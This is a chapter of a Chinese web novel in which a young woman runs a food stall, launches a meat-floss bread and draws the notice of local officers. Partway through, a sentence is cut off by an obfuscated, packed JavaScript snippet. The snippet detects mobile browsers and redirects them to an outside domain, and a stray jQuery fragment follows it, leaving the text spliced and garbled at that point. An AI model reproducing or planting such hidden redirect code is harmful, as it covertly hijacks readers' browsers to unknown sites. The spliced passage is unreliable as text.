温禧三人今日仍是卯时便到了,把摊位收拾好后,也差不多到了上客的时候。
那位身材壮硕的汉子已经被灌馅饼征服,这是他连续来买的第三日,刚排好队,就看见禔姐儿坐在旁边的小杌子上小心翼翼地吃肉松面包,嘴角沾着肉松碎茸,嘴巴一动一动颇像只小松鼠。
那壮汉咽了口口水,问:“娃娃,你吃的这是什么?”
禔姐儿抬头看看壮汉,举起手中的肉松面包,大声道:“这是温记小食新上的肉茸烤馒头,又香又软,可好吃了!只不过……”
她按温禧教的大声道:“这肉茸烤馒头是金陵那边卖的最好的,可好吃了,大人小孩儿都爱吃呢!”
壮汉一听,忙问温禧:“温娘子,这肉茸烤馒头怎么卖的?”
温禧看将盖在肉松面包上的笼布揭开,拿出一小盘切成正方形的试吃装:“这肉茸烤馒头加了自制的白酱,吃起来咸甜可口,您先尝尝。”因着这大晟的面食,多数不是叫某饼就是叫某馒头,温禧就给肉松面包起了个本土化的名字,肉茸烤馒头。
那壮汉捏了一小块送进嘴里,只觉果然好吃得紧!入口是酥软的表皮,内芯更是绵软,紧接着浓郁甜香的白酱爆出,在唇齿间流连,完美的黏合起烤馒头和肉茸。沙沙的肉茸咸甜交织,嚼起来柔韧回香,葱碎焦香酥脆,恰如其分地穿插其中……这一口下去,吃得他是口齿生香!
壮汉显然不满足这一小块,当即便要掏钱来买。
温禧笑道:“郎君,这肉茸烤馒头十文一块,今日一人限一份。”
壮汉:“只一份?温娘子,这还不够俺塞牙缝的啊!”
后面的一个胖乎乎的婆婆牵着同样胖乎乎的孙子挤过来,将壮汉拱到一边,不满道:“不买去旁边待着,俺们都快后时了,小娘子,给俺来一块,嘿嘿,给切大点呐!”她小孙子看到吃的香喷喷的禔姐儿闹腾着不肯去学堂,非要买了一模一样的吃了才肯去。
温禧嘱咐祐哥儿收好钱,切了一块装在油纸包里递过去,又道:“您吃好,若是吃着喜欢,可提前交定金登记预定,最多可定三块。”
那小孙子三两下将拳头大的肉松烤馒头吃到肚里,扯着祖母的衣服:“婆婆我还要!”
那婆婆转头向温禧道:“哎呦你开门做生意的,怎么还只卖一块?再给俺来一块,钱还能少得了你的?”
“阿婆,这烤馒头今日是试卖,故只做了这么两条,”温禧化身销售员,“小郎君吃得好,可以订上明日来拿。”
那壮汉本就不满插队:“阿婆你快点吧,这不是还有灌馅饼吗?这个也好吃!”
那婆婆转身对着小孙子为难道:“店家只卖得一块呐!先给幺哥儿买个灌馅饼,听话,明日婆婆再买这烤馒头!”
小孙子不依不饶:“那明日我要三块!”
温禧笑眯眯地收了祖孙二人的定金,祐哥儿也提笔在簿子记下:李阿婆,三块。
.
今儿莫风专程来吃灌馅饼,以他跟在谢丛身边的前十五年吃遍汴京大小食铺的经验来看,这种吃食必得是刚出炉最好吃,好说歹说拉着莫云早起出门了,顺便再帮大人带一个。
谢丛升都监后,莫风便和莫云一起跟着去了都监府,负责日常轮值和处理都监府杂事,还要跟随谢丛训练士兵,并不轻松。
莫风虽然有权限随时出入卫所,但他并不十分爱吃显州城的饭菜,也不出入坊司等,因此一直待在卫所。不过前几日莫云这小子被派去汴京办事,莫风着实羡慕得紧。
等莫风和莫云到了通径桥下、雨花巷口,就目睹了刚刚那一幕。
“嘿,这温小娘子的食摊花样还挺多。”莫风奇道,“我去看看这烤馒头是怎么一回事?”
所幸来得早,食摊前面人还不多,莫风上前去,问道:“温小娘子安好,生意兴隆。”
温禧正在热火朝天地烙饼、切肉松面包,抬头一看,是熟人,还是送过钱来的熟人!嘴角不由得咧开一个大大的弧度:“军爷安好。”
莫风指着自己道:“我叫莫风,温小娘子还是称呼名字吧。”
又目不转睛地盯着肉松面包问道:“这是什么新奇玩意儿?倒是从未见过。”
温禧心里暗笑,你要是见过就奇怪了:“这是我新制的肉茸烤馒头,第一日试卖,摸不透显州人的喜好,因此做得不多,每人仅限一份,莫郎君尝尝吗?”
莫风自然要,想了想又指着路边的莫云道:“我们两人,是不是可以买两份?”
温禧点头。
于是莫云就看到莫风抱着六个大饼和两个烤馒头过来了,他一脸黑线:“大哥,你能吃得完吗?”
莫风腾出手来,一手拍到莫云身上:“你以为哥哥我是那种只顾自己的人?这是你跟大人的,这个是我的。”
莫云看着那外表新奇但又精致的烤馒头问:“这是什么?怎么没有我跟大人的?”
莫风拿起一个放进嘴里:“想要?自己过去买呗!大人你也知道,从小不爱吃甜的。”他独自享受着这肉茸烤馒头,入口绵软,甜而不腻,咸香可口,里面的酱料湿润嫩滑,一口下去口感丰富,欲罢不能。
莫云白他一眼:“谁说大人不喜欢吃甜的?你白跟了大人这许多年,是小时候老夫人怕坏了牙不让多吃,后来在军伍里哪有这些精细吃食?”说着去拿另一块,“留给大人吧。”
莫风回想了一下好像确实如此,对大人的忠心还是超越了自己的胃腹,因此恋恋不舍地收好,叹气:“唉,只能等明日再来了,这温小娘子花样还挺多,卖吃食还不让人吃个痛快,偏要限定数量,让人挂念着,难受得紧!”
莫云:“你明日还要来?”
莫风狡辩:“哥哥我不是看你没吃嘛,给你预订了明日的。”
莫云斜他一眼,骑着马先行一步回卫所了。
莫云刚想跟上,就看到杨指挥使家的马车从通径桥上下来,停在了巷子口,杨复昇打着哈欠下车去温记小食摊前站定,看上去颇为熟稔的样子,吃了试吃的肉茸烤馒头,咋咋呼呼地要预定。
他心中好笑,刚想上前调笑杨复昇两句,便看到温禧从摊车下面拿出一个竹筒杯递给杨复昇,杨复昇喜滋滋地喝了口,竖起了大拇指。
莫风惊诧:还搞区别对待?怎么没听温小娘子提起有饮子卖?他又看看杨复昇,穿着官学的制服,头戴交脚幞头,身穿青色襕衫,面红齿白,眉目清秀,站在一众人当中,倒有些鹤立鸡群之感。这温小娘子别不是被他的外表迷惑了吧?
他越想越觉得有可能,又想到杨复昇此人虽是不爱读书,整日吊儿郎当的,但是为人古道热肠,练武也是个好苗子,他撇撇嘴,翻身上马,追着莫云去了。
等回到卫所,谢丛在屋内处理事务,看到莫风鬼鬼祟祟地进来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178960|180862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
端了个瓷盘,里面放着两个灌馅饼和一个没见过的馒头,笑道:“昨日见大人爱吃,今儿个跟莫云特去买的。”
谢丛早上果然没吃,此时也是腹中空空,他起身净手后,垫着油布包拿起那个馒头,随口问道:“可是温兄的妹妹经营的食摊?生意如何?”
莫风由衷夸道:“我看温小娘子心灵手巧,天生就是干买卖的料。今儿新做了肉茸烤馒头,还搞什么限量供应,试吃后支持预订。这不,一人一份,就给大人带了份。”
谢丛没上战场之前,吃饭都是优雅的大家风范,然而在战场上,吃慢了可是要命的,他也快速适应了快吃快咽。虽然如今不打仗,他吃饭也依然很快,通常是是三五口一个饼子。
不过今日他却一反常态,这肉茸烤馒头松香软糯,入口即化,他不由得慢慢品味起来,吃罢道:“之前温兄并没提过温小娘子做吃食的手艺这么好,可见温家这几年日子难过,温兄这平日里能在女学读书的妹妹,也不得不忙于庖厨了。”
莫风闻言点头,这手艺确实得经常流连于庖厨之中才能练得。
他嘱咐莫风:“日后可以多去光顾,从我的俸禄中拿钱便是。”
莫风高兴应是。虽说大人投军之后谢家就毅然断了银钱供应,但是大人的军饷可比自己多多了,吃点饼和馒头还是绰绰有余的!
莫风不久的将来就会为自己今日的想法感到天真。
.
温禧今日实在是开心!
试卖的肉松面包,也就是肉茸烤馒头,可以说得上是首战告捷——温禧共做了两条,除却试吃的部分,总共二十块,却收到了六十七份订单。不仅买到的食客预订了,还有一些没排到的食客也预订了许多。
不过她也明白,这是食客吃得一股新鲜劲,这肉茸烤馒头虽然好吃,吃多了也容易腻,之后还是要研究新品来替换。不过她温禧脑子里装着的食谱那可多了,到时候轮番做来。
温禧一边想一边乐呵呵地收拾摊子,若是以后能有个大烤炉多好,那她就可以把自己喜欢吃的面包、甜品都做一遍!想到现在牛奶的价格,她又摇摇头,还是等赚多了钱,少做点自家吃,解解馋瘾算喽。
事不宜迟!她这就去安掌柜那里,再去看看前几日看的那几套房,如今有了温祈的军饷,她底气足了许多。
温禧和祐哥儿今日推推车都有劲得很,温禧看着祐哥儿鼓足劲的小脸儿,自从知道温祈还活着的消息后,明显松弛的精神状态——这孩子昨晚难得睡了个好觉,醒来也是神采奕奕的。
温禧明白,之前温祈没有音讯时,祐哥儿总觉得自己身为男孩,却不能顶立门户,需要阿姊来辛苦筹谋养家,愧疚得很。不仅主动包揽了刷锅洗碗、扫地擦桌的活计,更是每天都来回挑水,供三个人洗漱擦身用,肩膀上每次都压出红痕来。也正是因为有祐哥儿操劳家里的杂活,温禧才心无旁骛地想食摊的事。
她心里一阵熨帖,多好的小孩儿啊!她前世有个同父异母的弟弟,小时候每次见面都对她颐指气使,长大后温禧就自行斩断了联系。她这是第一次感受到什么叫手足之情。
禔姐儿年纪小,却也是全家的开心果,从不捣乱任性,温禧忙的时候她主动帮忙,不忙的时候她就让阿姊休息,自己出去玩。温禧边推车边想,等买了新房,定要给每个人单独划出一间屋,住得舒舒服服的,自己的弟弟妹妹都值得!